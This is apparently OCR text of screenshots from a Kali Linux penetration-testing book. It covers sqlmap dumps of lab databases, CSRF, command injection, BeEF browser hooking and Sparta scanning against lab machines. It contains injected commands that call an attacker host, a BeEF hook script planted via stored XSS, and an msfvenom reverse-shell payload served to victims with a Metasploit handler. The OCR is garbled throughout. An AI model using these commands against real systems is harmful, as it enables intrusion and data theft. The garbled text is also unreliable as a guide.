[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files

> 1

do you want to use common password suffixes? (slow!) [y/N] N

d7554566e4d5662436a696c616e4e48

7447

6

37
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File Edit View Search Terminal Help

+-
| user id |
| first name

admin | .16 . / hackable/user
|
gordonb | b. . /hackab s/gorc .Jpg e99%a 428¢| 2608 2€ (abcl23)

(password)

|
1337 |
|

pablo | .16.123. /hackable/use 8d167de9f5bbedfcade3deScT1e (letmein) Picasso
|

smithy t /172.16.123. K g C 5fddcc3b5aa765d61d8327deb882cf99 (password) Smith

[*] shutting down at 089:26:59

File Edit View Search Terminal Help

172.16.69.128/mutillidae/index.php?page=1login.php" --data="username=user&password=pass&login-php-submit

http glmap.org

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's re
ty to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misu
ge caused by this program

[*] starting at €9:37:07

ING] POST r 'user

(<] [IHFOi heuristic (basic) test shows that POST parameter ‘usernaﬁe‘ might be injectable (possible DB
[09:37:08] [INFO] heuristic (XSS) test shows that POST parameter 'username’' might be vulnerable to cross-site scripting attacks

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
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File Edit View Search Terminal Help

: username (POST)
blind
ed blind - WHERE or HAVING
6736-- prDj&p

HAVING, ORDER BY or GROUP
(T C CONCAT

ELECT COUNT 71, FLOOR (RAND

e (FLOOR)
171, (SELECT 78746

i ]
GROUP BY x) J 3 r in-php-submit-button=Login

d blind
AND tim
user' AND SLEEP( d=pass&login-php-submit-button=Login

[INFO] the back-end DBMS 5
e erating sys Linux Ubuntu 8.84 (Hardy Heron)
eb application te PHP 5.2.4, Apache 8
back-end DBMS: My

[*] shutting down at 10

File Edit View Search Terminal Help

:~# sqlmap -u "ht //172.16.69.128/mutillidae/index. php?page username=user&passwords| s&login-php-
submit-button=Login" --dbs

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's respon
sibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any mi
suse or damage caused by this program

[¥] starting at 14:03

Imap resumed the following injection point(s) from stored sess

Parameter: username (POST)
Type: boolean-based blind
Title: OR boolea ased blind - WHERE or HAVING clause (MySQL comment) (NOT)
username=user' OR NOT 2562=2562#&passwor s&login-php-submit-button=Login

File Edit View Search Terminal Help
available databases [7]:

dvwa

information schema

metasploit

mysql

sple
tikiwiki
tikiwikil95

shutting down at 14:03:50

~# 1
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Terminal Help

:~# sqlmap -u "http://172.16.69.128/mutillidae/index.php?page=legin.php” --data="username=user&password=pass&login-php-
submit-button=Login” --tables -D owaspl®

http://sqlmap.org

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's respon
sibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any mi
suse or damage caused by this program

[*] starting at 14:06:39

File Edit V h Terminal Help
Database: owaspl@
[6 tables]

accounts
blogs table
captured_data
credit cards
hitleg

pen test tools

File Edit v ch Terminal Help

:~# sqlmap -u “"http://172.16.69.128/mutillidae/index.php?page=login.php" --data="username=user&password=pass&login-php-
submit-button=Login” --dump -D owaspl® -T credit cards

http://sqlmap.or

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's respon
sibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any mi
suse or damage caused by this program

[*] starting at 14:08:08

File Edit ch Terminal Help
Database: owaspl®

Table: credit cards

[5 entries]

4444111122223333 | 2012-03-01
7746536337776330 | 2015-04-01
8242325748474749 | 20816-03-01
7725653200487633 | 2017-06-01
1234567812345678 | 2018-11-01

[*] shutting down at 14:88:13
¥ l




rch  Terminal Help

:~# cat dvwa capture
GET /dvwa/vulnerabilities/sqli blind/?id=test here&Submit=Submit HTTP/1.1
Host: 172.16.69.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.6
Accept: text/html,applicatien/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.69.128/dvwa/vulnerabilities/sqli_blind/
Cookie: security=low; PHPSESSID=85e8b585eafbcbld3909e975d81279ch
Connection: close

File Edit View Search Terminal Help

:~# sqlmap -r /root/dvwa capture --level=5 --risk=3 -p id

http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's respon
sibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any mi
suse or damage caused by this program

[*] starting at ©8:51:26

[68:51:27] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

:51:29 WARNING] reflective value(s) found and filtering out
[08:51:29] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="
Me")
[08:51:29] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is ‘MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

File Edit View Search Terminal Help

WARNING] in OR boolear

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 583 HTTP(s) requests

Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-3483' OR 1177=1177-- bHtS&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL »= 5.0.12 OR time-based blind
Payload: id=test here' OR SLEEP(5)-- 0Qad&Submit=Submit

:52:42] [INFO] the back-end DBMS is MySQL
server operating system: Linux Ubuntu 8.84 (Hardy Heron)

application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12

[*] shutting down at 08:52:42

~#1




Burp Intruder Repeater Window Help

[Target TPrnxy T Spider T Scanner I Intruder I Repeater I Sequencer T Decoder T Comparer T Extender I Project options T User options TAIEr‘(s ]

Intercept | HTTP history T WebSockets history T Options ]

|F\Iter: Hiding €SS, image and general binary content | ?
# 4| Host | Method | URL | Params |Edited |Status |Length |MIME type |Extension |1
11 http://172.16.69.128 GET Jdvwapvulnerabilities/csrf/ O O =200 4886  HTML [a
12 http://172.16.69.128 GET Jdvwajvulnerabilitiesfcsrff O O 200 4886 HTML E[
13 http://172.16.69.128 Jdvwajvulnerabilitiesfcsrff?passwer... ] dJ 200 4815 HTML [v
- T
Request | Response
Raw | Params | Headers | Hex
GET /fdvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1 4
Host: 172.16.69.128 i
User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.69.128/dvwa/vulnerabilities/csri/
Cookie: security=low; PHPSESSID=85e8bS05Seafbebld3909e575d81279¢6
Connectilon: close
=
v
0 matches
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Burp Intruder Repeater Window Help

"Target Tpruxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

Intercept | HTTP history: T WebSockets historyT Options W

| Filter: Hiding CSS, image and general binary content

@

Host: 172.16.69.128
User-Agent: MozillasS5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.16.69.128/mutillidae/index.php?page=add- to- your-blog.php

Cookie: showhints=0; username=admin; uid=17; PHPSESSID=8SeshS0Seafbcbldzo0ses75d81279cE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113

csrf-token=SecurityIsDisabled&blog_entry=This+is+my+blog+entry&add- to-your-blog-php-submit-button=Save+Blog+Entry

# 4| Host | Method | URL | Params | Edited | Status | Length |MIME type |Extension |1
67 http:/f172.16.69.128 GET Jmutillidaefindex.php [ O 200 24581  HTML php N
68 http:/f172.16.69.128 GET Jmutillidaefindex.php?page=add-t... ] ] 200 25330 HTML php
70 http:/f172.16.69.128 POST  |/mutilidaefindex phpzpage=add-t...| J 200 25482  HTML php v
< . ¥
Request | Response
Raw | Params | Headers
POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1 i
-

5
v

0 matches
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open ~ || @ CSRF.html

Save = 000

ne= X

ocument.csrf.submit();

HTML =  Tab Width: 8 + Ln17,Col B - INS

File Edit View Search Terminal Help

:~# mv CSRF.html
~# fetc/init.c

] Starting apache2 (via systemctl): apache2.service.
~# l

(® Damn Vulnerable We.. x § http://172..r-blog.php x § http/f172...r-blog.php = | § hitp:/f172../findex.php x &
P g.php P 9.php P php

€ 172.16.69.128 mutillidae user e 9 4+ a =
% Most Visited v [JlJOffensive Security "\ Kali Linux 8 Kali Docs %, Kall Tools KHExploit-DB Wy Alrcrack-ng
@webpwnized
! y View Blogs
& | 4 Current Blog Entries
Mutillidae Name Date Comment
Channel 1 |admin 2017-02-17 20:48:18 HACKED
b " d by Adri 2 |admin 2017-02-17 20:39:23 This is my blog entry
..lf::;:':f(.. el 3 |admin 2017-02-17 20:28:33 This is my blog entry
and Jeremy Druin 4 |admin 2009-03-01 22:31:13 Fear me, for | am ROOT!
Browser: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
PHP Version: 5.2.4-2ubuntu5.10
The newest version of Mutillidae can downloaded from Irongeek's Site
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Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

127.0.0.1;wget http:/f172.16.69.133:8000 submit

File Edit View 5Search Terminal Help
:~# ./httprecv.py
Received connection from : 172.16.69.128
GET / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*

Host: 172.16.69.133:8000
Connection: Keep-Alive

= |

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP

Lookup DNS

Results for yahoo.com; ping 172.16.69.133 -c 1

File Edit View Search Terminal Help

:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
172.16.69.128 is exploitable

[ 265 ]



Chapter 10: Attacking the Browser with

BeEF

Applications + PL

Favorites

01 - Information Gathering
02 - Vulnerability Ana

03 - Web Application Ana

04

se Engineering
Exploitation Tools
Sniffing & Spoofing
Post Exploitation

Fore

armitage
beef xss fr...
metasploit ...
msf payloa...
searchsploit
social engi..
sqlmap

termineter

! BeEF Authentication

B Most Visited v [[lJOffensive Security ", Kall Linux ", Kall Docs %, Kall Tools R Explon-DE Wy Aircrack-ng

zeEF

[ 266 ]




¥ BeEF 0.4.7.0-alpha | Submit Bug | Logout
Hooked Browsers
] Online Browsers

Getting Started

_] Offine Browsers

L3

A EXPLOITATION IR PRAOJECT

Getting Started
‘Weicome to BeEF!

Before bein
point a br

b

o fully explore the framework y
ards the basic demo page h

il have to "hook” a browser. To begin with yc
the advanced version here.

If you want to hook ANY page (for debugging reasons of

rse), drag the following bookmarkiet ink

into your br er's bookmark bar, then simply ciick th ortcut on another page: Hook Me!
After a browser s hooked into the framework they will appear in the ‘Hooked Browsers® panel or
left. Hooked b sers will appear in either an online or offine state, depending on how recently

have polied the framework

Hooked Browsers

To interact ) mply lefi-cick &, a

has a nui below

tab will appear, Each hooked browser tab

lar hooked browser
gainst the hooked browser. This i

maodules consist of Javascript code
and modules are able to perform a
ample they may gather information
activities such as exploiting vulnes

e of the BeEF functionality resides. M
that is executed against the selected Hooked Bi
actions tha

ser. C
n be achieved through Javascript: fo
nipulate the DOM or perform
work of the Hooked Browser.

Each command module has a traffic fight icon, » h is used to indicate the following:
The command module works against the target and should be invisible to the user

The

wynand module works against the target, but may be visible to the user
The cox
W Thec

d module is yet to be verified ag

st this target

and module does

work against th rget

Please wait as BeEF services are started.
You might need to refresh your browser once it opens.
UI URL: http://127.0.0.1:3000/ui/panel

Hook: <script s "http://<IP>:3000/hook.js"></script>
Example: <script src="http://127.0.0.1:3000/hook. js"></script>
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File Edit View Search Terminal Help
va

r/wwa/html/
html# vi beef.htmlll

File Edit View Search Terminal Help

chl>Just a Normal Web Page... Right
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) My Web Page - Mozilla Firefox

Eile Edt View History Bookmarks Tools Help
@ g C (& ] hetpif172.16.69.133 besf html

|8 Most Visited | | Getting Started .. Latest Headlnes

| My Web Page E3

Just a Normal Web Page... Right?

4 (] Oniline Browsers
4£5172.16.69.133
@M 17216 60.120
(2] Offiine Browsers

—
zeEF
THE BROWSER EXPLOITATION FRAMEWORK PAOJECT
Official website: hitp:/beefproject.com/
Getting Started

Weicome to BeEF!

Before being able to fully explore the framework you will have to "hook’ a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here

It you want to hook ANY page (for debugging reasons of course), drag the following bookmarkiet ink
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Mel

After a browser is hooked into the framework they will appear in the ‘Hooked Browsers’ panel on the
left. Hooked browsers will appear in efther an online or offline state, depending on how recently they
have polled the framework.

BeEF Control Panel - Mozilla Firefox e 06
BeEF Control Panel x | ¥ Preferences x | http://172.1..3000/hook.js x =
€)% 127001 &) wa 3
# BeEF 0.4.7.0-aipha | Submit Bug | Logout
Hooked Browsers Getting Started ®| Logs

[269]




1 hitp://172...r-blog.php % | New Tab x *
€ (0 172.16.69.128 fex } ¢ ||Q Search we & =

@4 Mutillidae: Born to be Hacked

Version: 2.1.19 Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security  Reset DB Viewlog  View Captured Data

Core Controls

Welcome To The Blog

OWASP Top 10 L3 I
Add New Blog Entry

\ View Blogs

| Add blog for anonymous ‘

— |Note: <b>,</b>,<I>,</I>,<u> and </u> are now allowed In blog entries|
~

<script src="http://172.168.69,133:3000/hook.Js"
site e N

hacked...err...quality-

tested with Samurai
WTF, Backtrack,

Firefox, Burp-Suite,
Netcat, and these

Mozilla Add-ons

Save Blog Entry

@webpwnized
— 'f\ View Blogs
{E ‘4 | 2 Current Rloa =

t hitp://172...5-blog.php * | &

€ () 1721669128 ¢ ||Q Sea T8 ¥ =

@Bﬁ Mutillidae: Born to be Hacked

Version: 2.1.19 Not Logged In

Home  login/Register  Toggle Hints  Toggle Security  Reset DB Viewlog  View Captured Data

View Blogs

= <:_§ Back
View Blog Entries
@ Add To Your Blo:

Select Author and Click to View Blog |

P o Please Choose Author v View Blog Entries

Site
A e sl 13 Current Blog Entries
WTF, Backtrack, Name Date Comment
Firefox, Burp-Suite, 1 |anonymous|2017-03-21 10:38:01|My interesting blog post...
";m;mfz:z' 2 |admin 2009-03-01 22:31:13|Fear me, for | am ROOT!
3 |dave 2009-03-01 22:31:13|5ocial Engineering is woot-tastic
4 |kevin 2009-03-01 22:31:13|Read more Douglas Adams
5 |kevin 2009-03-01 22:31:13|You should take SANS SEC542
@webpwnized 6 |asprox 2009-03-01 22:31:13|Fear me, for | am asprox!
— 7 |john 2009-03-01 22:30:06|Chocolate is GOOD!!!
[ﬂ I, 8 lleremy 2009-03-01 22:29:49|Why give users the ability to get to the unfiltered Internet? It's just asking for trouble.

[270]



Hooked Browsers
4 =] Oniine Browsers
4{7172.16.69.128
@ ) ¥ 19216868130
() Offiine Browsers

Getting Started %/|| Logs

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: hitp:// roject.com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you wil have to "hook’ a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they wil appear in the ‘Hooked Browsers” panel on the
left. Hooked browsers will appear in either an online or offiine state, depending on how recently they
have polled the framework

Hooked Browsers

Hooked Browsers
4 '] Online Browsers

4/)172.16.69.135
@M 1721669129
__| Offline Browsers
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about:sessionrestore = BeEF Control Panel

127.00.1

Hooked Browsers
4 i) Online Browsers
417216 .69.135

@MW 172.16.69.129

] Offline Browsers

Basic Requester

x  New Tab x | BeEF Control Panel x| -

we 9+ N

# BeEF 0.4.7.0-alpha | Submit Bug | Logout

mella
Getting Started Logs Current Browser
Details Logs Commands Rider XssRays Ipec Metwork WebRTC

i3 Category: Browser (7 Items)
Browser Name: Firefox
Browser Version: 3.6

Browser UA String: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306
Firefox/3.6.28

Browser Language: en-Us
Browser Platform: Win32

Browser Plugins: Mozilla Default Plug-in-v.1.0.0.15 Google Update-v.1.3.32.7 Microsot®
DRM-v.9.0.0.3250 Windows Media Player Plug-in Dynamic Link Library-v.3.0.2.628

Window Size: Width: 986, Height: 607

o Category: Browser Components (12 ltems)
Flash: Mo

VBScript: No

PhoneGap: No

Google Gears: No

Web Sockets: No
QuickTime: No

RealPlayer: No

Windows Media Player: Yes
WebRTC: No

ActiveX: No

Session Cookies: Yes

Plnsnlnbnmt Amaldan: Yoo

Initialization
Initialization

Initialization

Initialization
Initialization

Initialization

Initialization

Initialization
Initialization
Initialization
Initialization
Initialization
Initialization
Initialization
Initialization
Initialization
Initialization

Initialization

The command module works against the target and should be invisible to the user
¥ The command module works against the target, but may be visible to the user
The command module is yet to be verified against this target

- The command module does not work against this target

[272]




Module Tree

Search

4 | Browser (53)
__| Hooked Domain (25)

Module Results History

id « date label

modules will be listed here.
Detect Extensions

Detect FireBug

Detect Foxit Reader

Detect LastPass

Detect QuickTime

Detect RealPlayer

Detect Silverlight

Detect Toolbars

Detect Unity Web Player
Detect VLC

Detect Windows Media Ple
Fingerprint Browser (PoC)
Get Visited Domains

Get Visited URLs

Get Visited URLs (Avant B
Play Sound

Remove Hook Element
Spyder Eye

Unhook L

The results from executed command

Get Visited URLs

Description: This module will detect whether or not
the hooked browser has visited the
specified URL(s)

Id: 39
URL(s): http://beefproject.
com/

Execute

r.push(o[i]); } returnr; } = false

data: http://beefproject.com/ = false function () {varo={},i, | =
this.length, r = []; for (i= 0; i < I; i += 1) { o[this][i]] = this]i]; } for (i in 0) {

data: function () { var o = {}, i, | = this.length, r = []; for (i= 0; i <1; i
+= 1) ofthis[i]] = this[i]; for (i in 0) r.push(o[i]); return r; } = false
http://172.16.69.135/beef.html = true

[273]




arch
4 5] Browser (54)
4 =5 Hooked Domain (26)
Get Cookie
Get Form Values
Get Page HREFs
Get Page HTML
Get Page and iframe HTML
Overflow Cookie Jar
Remove stuck iframe
Replace HREFs
Replace HREFs (Click Events)
Replace HREFs (HTTPS)
Replace HREFs (TEL)
Fingerprint Ajax
\ Create Alert Dialog
» Create Prompt Dialog
' Redirect Browser
o Redirect Browser (Rickroll)

. Redirect Browser (iFrame)

o Replace Component (Deface)
o Replace Content (Deface)

¥ Replace Videos

@ Clear Console

@ Disable Developer Tools

@ Get Local Storage

@ Get Session Storage

@ Get Stored Credentials

@ i0S Address Bar Spoofing

© Ready

Module Results History

id « | date label

T

Redirect Browser

Description:

Id:

Redirect URL:

This module will redirect the selected hooked
browser to the address specified in the "Redirect
URL' input.

83

hitp:/fbeefproject.com/

Execute

data: result=Redirected to: http://172.16.69.135/
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13 Apache2 Debian Default Page: It works - Microsoft Internet Explorer

Fle Edkt View Favortes Tools Help »
Q- © X @ G Psecr Yorawmes @rese @ (3- 15 03
Address | @] hittp://172.16.69.135] v B ks
-~
Apache2 Debian Default Page
debian
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index. html)
before continuing to operate your HTTP server.
If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.
Configuration Overview
Debian's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Debian tools. The configuration system is fully documented
in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apachez-does
package was installed on this server.
The configuration layout for an Apache2 web server installation on Debian systems is as follows:
E fetc/apache2/ E
E | -— apacha2.conf '
\ ‘== ports.conf
E | —— mods—-enabled E
: | == *.l1lo0ad E
E | == i, cont 5
E | == conf-enabled '
| ‘== &, conf
P l—— aites—anshlad : A
] Done ® Internet

Hooked Browsers
4 ) Online Browsers
415172.16.69.133
© M 1721660139
[__] Offiine Browsers

Hooked Browsers
|__1Online Browsers
4 '] Offline Browsers
477 172.16.69.133

& WM 172.16.69.139

S
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Hooked Browsers
4 3 Onine Browsers.

Current Browser
#25172.16.60.133 etak w5 | Commands ider || XssRa

& BZim168013 Moguie Tree Motiuie fesults History Create Pop Unger
) Offine Browsers

Descripton

This module Creates & new SSCTEe POR UNGer WINGDW WA the BeEF haok ncluded
] Browses (54) o

o 20170324 1024 command 1
) Chrome Extensions: (5]
| Deturg (9) It 91
| Explots (99)
) Host (24)
~JIPEC (9)
] Metasplod (1)
] Misc (17)
| Network (22)
4= Persistence (5)
Wordpress Add Adminestator
@ Confem Close Tab

Ancther browses node wil be added 1o the hooked browse tree

@ Create Foreground Frame
& Create Pop Under
@ Hijack Opener Window
@ Man-in-The-Browser

] Phonegap (16}

] Social Engineering (23)

M My Web Page - Microsoft Internet Explorer

Fle Edt Vew Favon®s Took Help
Qe - @ - ¥ B & D searh

Address | @] hetpiff172,16.69,133 beef . hitmd

Favorites (@ Meda £2) (- ;

Just a Normal Web Page... Right?

EI Done

® Inzernet
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Hooked Browsers
4 (] Online Browsers
& WM 1721669139
4 () Offine Browsers
#{3172.16.69.133
© M 17216.69.139

File Edit View Search Terminal Help

¢ mstvenom --platform windows -a x86 -p windows/shell/reverse_tcp LHOST=172.16.69.133 LPORT=4444 -
b "\x00" -e x86/shakata_ga_nai -f exe -o /var/www/html/shell.exell
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File Edit View Search Terminal Help
:~# msfconsole

Validate lots of wulnerabilities to demonstrate exposure
with Metaspleit Pro -- Learn more on http://rapid7.com/metasploit

[ meta 1¢ |
1631 exploits - 2 iliary - 282 post 1
- 472 payloads - 40 e - 9 nops |
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

> use exploit/multi/handler
) » set payload windows/shell/reverse_tcp
windows/shell/reverse tcp
) > options

Payload options (windows/shell/reverse tep):
Name Current Setting Required Description
Exit technique (Accepted:
LHOST =E The listen address
LPORT 4444 =E The listen port
Exploit target:
Id Name
0 Wildcard Target
msf exploit( ) > set LHOST 172.16.69.133
LHOST => 172.16.69.133
msf exploit( ) > exploit

[*] Started reverse TCP handler on 172.16.69.133:4444
[*] Starting the payload handler...

, seh, thread, process, none)
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Cusnent Browser

Commands

Persmmnce (6]

Sl Erygraig

W BeEF 0A7O-aphe | Subew Bug | Loges

Creass inwssinie Hrame
Descreson  Cremes an swvstie ame:

™ )

Rt e 172 16 80 1 33l axe|

Just a Normal Web Page... Right?

_gﬂ

save this fle.

Fie type:
From:

| Some files can ham pou computer If the file information below
2/ looks suspicious. or you do not full tnust the source, do nat open of

File name: shel.exe

A\ This type of fle could haim your computes § it contains
malicious code.

\wouid you ke to open the fle of save itto your computer?

Application
172.16.69.133

[open

) o) (o ) (e )
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msf exploit( ) > exploit

[*] Started reverse TCP handler on 172.16.69.133:4444
[*] Starting the payload handler..

[*] Encoded stage with x86/shikata_ga nai

[*] Sending encoded stage (267 bytes) to 172.16.69.139

[*] Command shell session 6 opened (172.16.69.133:4444 -> 172.16.69.139:1120) at 2017-03-24 13:19:56 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Owner\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . :172.16.69.139
Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway .

ocuments and Settings\Owner\Desktop>fi
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File Edit View Search Terminal Help

Average Speed
Upload Total
]

beef-mas
f-m

g:
inflating: beef-ma:

File Edit View Search Terminal Help

2 f -print@ | xargs -8 mv g -xss/arerules

1 root o 6 Mar
1 root root Mar

1 root

1 root

1 root t a 4 ie win
1 root in
1 root t : 5 4 ie win
1 root 4 ie

1 root
1 root
1 re

1 root
1 root
1 root
1 root

man_in the br
README
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File Edit ch Terminal Help
:/usr/share/beef-xss/arerules# 1s -1
total 104
-rW-r--r-- 1 root root 366 Mar 15 18:54 alert.json
=T root root 455 Mar 15 18:54 confirm close tab.json
root root 887 Mar 15 10:54 c osx_test-return-mods.json
root root 4896 Mar 27 10:34 enabled
root root 462 Mar 15 10:54 ff osx_extension-dropper.json
root roet 817 Dec 23 2815 ff_tux_webrtc-internalip.json
root root 326 Mar 15 18:54 get cookie.json
root root 1815 Mar 15 18:54 ie win_fakenotification-clippy.json
root root 742 Mar 15 10:54 ie win_htapowershell.json
root root 834 Mar 15 10:54 ie win missingflash-prettytheft.json
root roet 885 Mar 15 10:54 ie win_test-return-meods.json
root root 491 Mar 15 18:54 lan cors_scan_common.json
root root 788 Mar 15 18:54 lan cors scan.json
root root 585 Mar 15 10:54 lan fingerprint common.json
root root 788 Mar 15 18:54 lan_fingerprint.json
root root 478 Mar 15 10:54 lan_flash_scan_common.json
root root 761 Mar 15 18:54 lan_flash scan.json
root roet 481 Mar 15 10:54 lan_http _scan_commen.json
root root 770 Mar 15 10:54 lan_http scan.json
root roet 404 Mar 15 16:54 lan_ping_sweep_common.json
root root 687 Mar 15 18:54 lan_ping sweep.json
root root 356 Mar 15 18:54 man_in_the browser.json
root root 142 Mar 15 18:54 README
root root 438 Mar 15 10:54 record snapshots.json
root root 5953 Mar 15 18:54 win_fake malware.json
sr/share/beef-xss/arerules# mv man_in the browser.json /usr/share/beef-xss/arerules/enabled/
sr/share/beef-xss/arerules# |J

h Terminal Help
vi /var/www/html/beef.html]

<head>

<titlesMy Web Page</title>
<script sre= 172.16.6
</head>
<body>

></script>

<hl=Just a Normal Web Page... Right?</hl>
<p>You should check out <a href="htt
</body>

-- INSERT --




Hooked Browsers
4 | Online Browsers
41-5172.16.69.133
© M 172.1669.139
Offiine Browsers

Getting Started

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

N
Hooked Browsers.
@ (3 Onine Browsers
41721669133 L Type
& 81721660139 406 Command
Offine Browsers

Logs
Event

Hooked browser [d:24, ip-172.16.59.139]
In.The Browser]

5: UNKNOWN) from command module jcid 47, mod: 288, name-Man. 201

# BeEF 0.47.0-apha | Subme Bug | Lopou

Date Browse.

24
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Chapter 11: Working with Sparta

Applications - Places =

Favorites dmitry
01 - Information Gathering

dnmap-clie...
02 - Vulnerability Analysis

03 - Web Application Analysis ) dnmap-ser..

04 - Database Assessment :

ike-scan
05 - Password Attacks
maltegoce
06 - Wireless Attacks s
07 - Reverse Engineering # %+ netdiscover
08 - Exploitation Tools

nmap
09 - Sniffing & Spoofing
10 - Post Exploitation pof
11 - Forensics recon-ng
12 - Reporting Tools

sparta
13 - Social Engineering Tools
14 - System Services enmap

Usual applications

Activities Overview
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IP Range [172.16.69.128

eq: 192.168.1.0/24 10.10.10.10-20 1.2.3.4

& Run nmap host discovery

& Run staged nmap scan

| Cancel | | Add to scope
File Help
Scan | Brute
Hosts | Services Tools Services  Scripts  Information  Notes
Click here to add
host(s) to scope
| [
(A ()
Log
Progress Tool Host Start time End time Status
I nmap (stage 1) 172.16.60.128 30 Mar 2017 10:52:16 Running
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File Help

Scan | Brute

Hosts | Services Tools

Services | Scripts

Information Notes

nikto (80/tcp) =

Qs
s 172.16.69.128

Host

el

]

Log

Progress
[INERRRERERENEREL]
[ITTTT T —
[INERRRERERENEREL]

#

¢ @ ®§ @ @ @ @ ¢ @

Tool

ftp-default (21/tcp)

nmap (stage 4)

nmap (stage 3)
screenshot (80/tcp)
nikto (80/tcp)
nmap (stage 2)

nmap (stage 1)

Port
21
22
23
25
80
111
137
139
445

postgres-default (5432/tcp)
mysql-default (3306/tcp)
smtp-enum-vrfy (25/tcp)

Protocol State Name
tcp open ftp
tcp open ssh
tcp open telnet
tcp open smtp
tcp open http
tcp open rpcbind
udp open netbios-ns
tcp open netbios-ssn
tcp open netbios-ssn

Host Start time

172.16.69.128

172.16.69.128

172.16.69.128

172.16.69.128

172.16.60.128

172.16.60.128

172.16.60.128

172.16.60.128

172.16.60.128

172.16.60.128

30 Mar 2017 10:53:03
30 Mar 2017 10:53:03
30 Mar 2017 10:52:55
30 Mar 2017 10:52:55
30 Mar 2017 10:52:55
30 Mar 2017 10:52:54
30 Mar 2017 10:52:41
30 Mar 2017 10:52:37
30 Mar 2017 10:52:37
30 Mar 2017 10:52:16

screenshot (80/tcp) @

smtp-enum-vrfy (25/tcp)

Version

vsftpd 2.3.4

OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)

Linux telnetd

Postfix smtpd

Apache httpd 2.2.8 ((Ubuntu) DAV/2)

2 (RPC #100000)

Samba nmbd netblos-ns (workgroup: WORKGR...
Samba smbd 3.X - 4.X (workgroup: WORKGROU...
Samba smbd 3.X - 4.X (workgroup: WORKGROU...

End time

30 Mar 2017 10:53:04

30 Mar 2017 10:52:56
30 Mar 2017 10:52:56
30 Mar 2017 10:52:56
30 Mar 2017 10:53:03
30 Mar 2017 10:52:41
30 Mar 2017 10:53:01
30 Mar 2017 10:52:54
30 Mar 2017 10:52:37

Status
Finished
Running
Finished
Finished
Finished
Finished
Finished
Finished
Finished
Finished

i
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File Help

Scan | Brute
Hosts | Services | Tools Services
Name - Host Port Protocol State Wersion
X11 ® 1721669128 B0 tcp open Apache httpd 2.2.8 ({Ubuntu) DAV/2)
